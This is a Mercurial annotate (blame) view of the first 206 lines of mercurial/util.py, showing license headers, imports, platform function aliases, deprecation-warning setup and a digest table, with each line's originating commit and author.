mercurial-scm/hg-stable: mercurial/util.py annotate

annotate mercurial/util.py @ 43076:2372284d9457

formatting: blacken the codebase This is using my patch to black (https://github.com/psf/black/pull/826) so we don't un-wrap collection literals. Done with: hg files 'set:**.py - mercurial/thirdparty/** - "contrib/python-zstandard/**"' | xargs black -S # skip-blame mass-reformatting only # no-check-commit reformats foo_bar functions Differential Revision: https://phab.mercurial-scm.org/D6971

author	Augie Fackler <augie@google.com>
date	Sun, 06 Oct 2019 09:45:02 -0400
parents	e94c8f584ee2
children	687b865b95ad

rev	line source
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	1 # util.py - Mercurial utility functions and platform specific implementations
8226 8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	2 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	3 # Copyright 2005 K. Thananchayan <thananck@yahoo.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	4 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	5 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	6 #
8b2cd04a6e97 put license and copyright info into comment blocks Martin Geisler <mg@lazybytes.net> parents: 8225 diff changeset	7 # This software may be used and distributed according to the terms of the
10263 25e572394f5c Update license to GPLv2+ Matt Mackall <mpm@selenic.com> parents: 9996 diff changeset	8 # GNU General Public License version 2 or any later version.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	9
17515 b5b38d21fe99 spelling: specific timeless@mozdev.org parents: 17237 diff changeset	10 """Mercurial utility functions and platform specific implementations.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	11
8227 0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	12 This contains helper routines that are independent of the SCM core and
0a9542703300 turn some comments back into module docstrings Martin Geisler <mg@lazybytes.net> parents: 8226 diff changeset	13 hide platform-specific details from the core.
1082 ce96e316278a Update util.py docstrings, fix walk test mpm@selenic.com parents: 1081 diff changeset	14 """
419 28511fc21073 [PATCH] file seperator handling for the other 'OS' mpm@selenic.com parents: diff changeset	15
34152 a8994d08e4a2 doctest: use print_function and convert bytes to unicode where needed Yuya Nishihara <yuya@tcha.org> parents: 34149 diff changeset	16 from __future__ import absolute_import, print_function
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	17
33814 bbbbd3c30bfc util: add base class for transactional context managers Martin von Zweigbergk <martinvonz@google.com> parents: 33763 diff changeset	18 import abc
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	19 import collections
33446 fad6852cf879 histedit: extract InterventionRequired transaction handling to utils Martin von Zweigbergk <martinvonz@google.com> parents: 33439 diff changeset	20 import contextlib
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	21 import errno
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	22 import gc
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	23 import hashlib
34554 6f11a74d489f util: add safename function for generating safe names to rename to Mark Thomas <mbthomas@fb.com> parents: 34468 diff changeset	24 import itertools
34302 3bb2a9f25fe9 util: add an mmapread method Mark Thomas <mbthomas@fb.com> parents: 34154 diff changeset	25 import mmap
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	26 import os
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	27 import platform as pyplatform
21907 7e5dfa00e3c2 util: rename 're' to 'remod' Siddharth Agarwal <sid0@fb.com> parents: 21857 diff changeset	28 import re as remod
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	29 import shutil
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	30 import socket
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	31 import stat
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	32 import sys
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	33 import time
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	34 import traceback
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	35 import warnings
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	36
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	37 from .thirdparty import attr
39287 e00123f63410 util: make timedcm require the label (API) Augie Fackler <augie@google.com> parents: 39286 diff changeset	38 from hgdemandimport import tracing
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	39 from . import (
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	40 encoding,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	41 error,
ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	42 i18n,
35582 72b91f905065 py3: use node.hex(h.digest()) instead of h.hexdigest() Pulkit Goyal <7895pulkit@gmail.com> parents: 35517 diff changeset	43 node as nodemod,
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	44 policy,
28818 6041fb8f2da8 pycompat: add empty and queue to handle py3 divergence timeless <timeless@mozdev.org> parents: 28497 diff changeset	45 pycompat,
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	46 urllibcompat,
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	47 )
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	48 from .utils import (
42041 3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	49 compression,
37121 5be286db5fb5 procutil: move process/executable management functions to new module Yuya Nishihara <yuya@tcha.org> parents: 37120 diff changeset	50 procutil,
37086 f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	51 stringutil,
f99d64e8a4e4 stringutil: move generic string helpers to new module Yuya Nishihara <yuya@tcha.org> parents: 37085 diff changeset	52 )
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	53
42782 e94c8f584ee2 py3: do not convert rust module/attribute names to bytes Yuya Nishihara <yuya@tcha.org> parents: 42641 diff changeset	54 rustdirs = policy.importrust(r'dirstate', r'Dirs')
42545 2db96bf84a8f rust-dirstate: call new "dirs" rust implementation from Python Rapha?l Gom?s <rgomes@octobus.net> parents: 42365 diff changeset	55
32407 008d37c4d783 base85: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32406 diff changeset	56 base85 = policy.importmod(r'base85')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	57 osutil = policy.importmod(r'osutil')
32411 df448de7cf3b parsers: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32407 diff changeset	58 parsers = policy.importmod(r'parsers')
32406 a9c71d578a1c osutil: switch to policy importer Yuya Nishihara <yuya@tcha.org> parents: 32346 diff changeset	59
32245 4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	60 b85decode = base85.b85decode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	61 b85encode = base85.b85encode
4462a981e8df base85: proxy through util module Yuya Nishihara <yuya@tcha.org> parents: 32203 diff changeset	62
31934 12aca6770046 util: make cookielib module available Gregory Szorc <gregory.szorc@gmail.com> parents: 31878 diff changeset	63 cookielib = pycompat.cookielib
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	64 httplib = pycompat.httplib
00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	65 pickle = pycompat.pickle
37102 6ca5f825a0ca util: make safehasattr() a pycompat function Yuya Nishihara <yuya@tcha.org> parents: 37101 diff changeset	66 safehasattr = pycompat.safehasattr
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	67 socketserver = pycompat.socketserver
36964 644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	68 bytesio = pycompat.bytesio
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	69 # TODO deprecate stringio name, as it is a lie on Python 3.
644a02f6b34f util: prefer "bytesio" to "stringio" Gregory Szorc <gregory.szorc@gmail.com> parents: 36952 diff changeset	70 stringio = bytesio
30480 00c9ac4ce816 util: rewrite pycompat imports to make pyflakes always happy Yuya Nishihara <yuya@tcha.org> parents: 30451 diff changeset	71 xmlrpclib = pycompat.xmlrpclib
28883 032c4c2f802a pycompat: switch to util.urlreq/util.urlerr for py3 compat timeless <timeless@mozdev.org> parents: 28882 diff changeset	72
34468 192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	73 httpserver = urllibcompat.httpserver
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	74 urlerr = urllibcompat.urlerr
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	75 urlreq = urllibcompat.urlreq
192f7b126ed2 urllibcompat: move some adapters from pycompat to urllibcompat Augie Fackler <augie@google.com> parents: 34436 diff changeset	76
32131 377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	77 # workaround for win32mbcs
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	78 _filenamebytestr = pycompat.bytestr
377c74ef008d win32mbcs: avoid unintentional failure at colorization FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 31952 diff changeset	79
34645 75979c8d4572 codemod: use pycompat.iswindows Jun Wu <quark@fb.com> parents: 34554 diff changeset	80 if pycompat.iswindows:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	81 from . import windows as platform
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	82 else:
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	83 from . import posix as platform
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	84
27358 ac839ee45b6a util: use absolute_import Gregory Szorc <gregory.szorc@gmail.com> parents: 27357 diff changeset	85 _ = i18n._
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	86
29530 3239e2fdd2e2 chgserver: extract utility to bind unix domain socket to long path Yuya Nishihara <yuya@tcha.org> parents: 29455 diff changeset	87 bindunixsocket = platform.bindunixsocket
14927 2aa3e07b2f07 posix, windows: introduce cachestat Idan Kamara <idankk86@gmail.com> parents: 14926 diff changeset	88 cachestat = platform.cachestat
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	89 checkexec = platform.checkexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	90 checklink = platform.checklink
15011 5e44e4b3a0a3 util: move copymode into posix.py and windows.py Adrian Buehlmann <adrian@cadifra.com> parents: 15010 diff changeset	91 copymode = platform.copymode
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	92 expandglobs = platform.expandglobs
35517 c4caf530b1c7 util: add a function to show the mount point of the filesystem Matt Harbison <matt_harbison@yahoo.com> parents: 35515 diff changeset	93 getfsmountpoint = platform.getfsmountpoint
35513 beede158ea8a util: move getfstype() to the platform modules Matt Harbison <matt_harbison@yahoo.com> parents: 35464 diff changeset	94 getfstype = platform.getfstype
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	95 groupmembers = platform.groupmembers
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	96 groupname = platform.groupname
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	97 isexec = platform.isexec
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	98 isowner = platform.isowner
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	99 listdir = osutil.listdir
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	100 localpath = platform.localpath
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	101 lookupreg = platform.lookupreg
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	102 makedir = platform.makedir
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	103 nlinks = platform.nlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	104 normpath = platform.normpath
15488 6eff984d8e76 dirstate: fix case-folding identity for traditional Unix Matt Mackall <mpm@selenic.com> parents: 15392 diff changeset	105 normcase = platform.normcase
24605 98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	106 normcasespec = platform.normcasespec
98744856b7d3 util: add normcase spec and fallback Siddharth Agarwal <sid0@fb.com> parents: 24439 diff changeset	107 normcasefallback = platform.normcasefallback
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	108 openhardlinks = platform.openhardlinks
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	109 oslink = platform.oslink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	110 parsepatchoutput = platform.parsepatchoutput
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	111 pconvert = platform.pconvert
25420 c2ec81891502 util: add a simple poll utility Pierre-Yves David <pierre-yves.david@fb.com> parents: 25406 diff changeset	112 poll = platform.poll
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	113 posixfile = platform.posixfile
39909 5fe0b880200e py3: convert os.readlink() path to native strings on Windows Matt Harbison <matt_harbison@yahoo.com> parents: 39793 diff changeset	114 readlink = platform.readlink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	115 rename = platform.rename
24692 144883a8d0d4 util: add removedirs as platform depending function FUJIWARA Katsunori <foozy@lares.dti.ne.jp> parents: 24635 diff changeset	116 removedirs = platform.removedirs
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	117 samedevice = platform.samedevice
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	118 samefile = platform.samefile
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	119 samestat = platform.samestat
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	120 setflags = platform.setflags
17560 9ee25d7b1aed util: implement a faster os.path.split for posix systems Bryan O'Sullivan <bryano@fb.com> parents: 17537 diff changeset	121 split = platform.split
18026 ddc0323db78b osutil: write a C implementation of statfiles for unix Bryan O'Sullivan <bryano@fb.com> parents: 18013 diff changeset	122 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
18868 cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	123 statisexec = platform.statisexec
cafa447a7d3b util: add functions to check symlink/exec bits Bryan O'Sullivan <bryano@fb.com> parents: 18775 diff changeset	124 statislink = platform.statislink
14926 4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	125 umask = platform.umask
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	126 unlink = platform.unlink
4e7e63fc685a util: eliminate wildcard imports Adrian Buehlmann <adrian@cadifra.com> parents: 14918 diff changeset	127 username = platform.username
14912 ec46a7da9f2c util: move windows and posix wildcard imports to begin of file Adrian Buehlmann <adrian@cadifra.com> parents: 14911 diff changeset	128
42041 3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	129 # small compat layer
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	130 compengines = compression.compengines
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	131 SERVERROLE = compression.SERVERROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	132 CLIENTROLE = compression.CLIENTROLE
3e47d1ec9da5 util: extract compression code in `mercurial.utils.compression` Pierre-Yves David <pierre-yves.david@octobus.net> parents: 41839 diff changeset	133
32248 d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	134 try:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	135 recvfds = osutil.recvfds
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	136 except AttributeError:
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	137 pass
d74b0cff94a9 osutil: proxy through util (and platform) modules (API) Yuya Nishihara <yuya@tcha.org> parents: 32245 diff changeset	138
6470 ac0bcd951c2c python 2.6 compatibility: compatibility wrappers for hash functions Dirkjan Ochtman <dirkjan@ochtman.nl> parents: 6339 diff changeset	139 # Python compatibility
3769 96095d9ff1f8 Add encoding detection Matt Mackall <mpm@selenic.com> parents: 3767 diff changeset	140
15656 4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	141 _notset = object()
4f5a78fa4917 util: clean up function ordering Matt Mackall <mpm@selenic.com> parents: 15611 diff changeset	142
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	143
30745 c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	144 def bitsfrom(container):
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	145 bits = 0
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	146 for bit in container:
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	147 bits \|= bit
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	148 return bits
c1b7b2285522 revlog: flag processor Remi Chaintron <remi@fb.com> parents: 30736 diff changeset	149
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	150
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	151 # python 2.6 still have deprecation warning enabled by default. We do not want
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	152 # to display anything to standard user so detect if we are running test and
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	153 # only use python deprecation warning in this case.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	154 _dowarn = bool(encoding.environ.get('HGEMITWARNINGS'))
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	155 if _dowarn:
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	156 # explicitly unfilter our warning for python 2.7
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	157 #
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	158 # The option of setting PYTHONWARNINGS in the test runner was investigated.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	159 # However, module name set through PYTHONWARNINGS was exactly matched, so
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	160 # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	161 # makes the whole PYTHONWARNINGS thing useless for our usecase.
31952 a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	162 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	163 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
a34b5e7c6683 util: pass sysstrs to warnings.filterwarnings Augie Fackler <augie@google.com> parents: 31950 diff changeset	164 warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
36617 281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	165 if _dowarn and pycompat.ispy3:
281f66777ff0 py3: silence "bad escape" warning emitted by re.sub() Yuya Nishihara <yuya@tcha.org> parents: 36614 diff changeset	166 # silence warning emitted by passing user string to re.sub()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	167 warnings.filterwarnings(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	168 r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	169 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	170 warnings.filterwarnings(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	171 r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	172 )
37455 9ecb7c471cfb py3: silence warning about deprecation of imp module Yuya Nishihara <yuya@tcha.org> parents: 37382 diff changeset	173 # TODO: reinvent imp.is_frozen()
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	174 warnings.filterwarnings(
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	175 r'ignore',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	176 r'the imp module is deprecated',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	177 DeprecationWarning,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	178 r'mercurial',
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	179 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	180
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	181
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	182 def nouideprecwarn(msg, version, stacklevel=1):
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	183 """Issue an python native deprecation warning
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	184
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	185 This is a noop outside of tests, use 'ui.deprecwarn' when possible.
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	186 """
cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	187 if _dowarn:
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	188 msg += (
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	189 "\n(compatibility will be dropped after Mercurial-%s,"
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	190 " update your code.)"
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	191 ) % version
36166 02ed94dd9fd6 util: call warnings.warn() with a sysstr in nouideprecwarn Augie Fackler <augie@google.com> parents: 36076 diff changeset	192 warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
31950 cc70c6dbac30 util: add a way to issue deprecation warning without a UI object Pierre-Yves David <pierre-yves.david@ens-lyon.org> parents: 31946 diff changeset	193
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	194
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	195 DIGESTS = {
29342 c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512 Augie Fackler <raf@durin42.com> parents: 29324 diff changeset	196 'md5': hashlib.md5,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512 Augie Fackler <raf@durin42.com> parents: 29324 diff changeset	197 'sha1': hashlib.sha1,
c27dc3c31222 util: drop local aliases for md5, sha1, sha256, and sha512 Augie Fackler <raf@durin42.com> parents: 29324 diff changeset	198 'sha512': hashlib.sha512,
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	199 }
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	200 # List of digest types from strongest to weakest
27357 7f5a0bd4c9aa util: make hashlib import unconditional Gregory Szorc <gregory.szorc@gmail.com> parents: 27112 diff changeset	201 DIGESTS_BY_STRENGTH = ['sha512', 'sha1', 'md5']
22962 4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	202
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	203 for k in DIGESTS_BY_STRENGTH:
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	204 assert k in DIGESTS
4d58f4083148 util: add a helper class to compute digests Mike Hommey <mh@glandium.org> parents: 22958 diff changeset	205
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	206
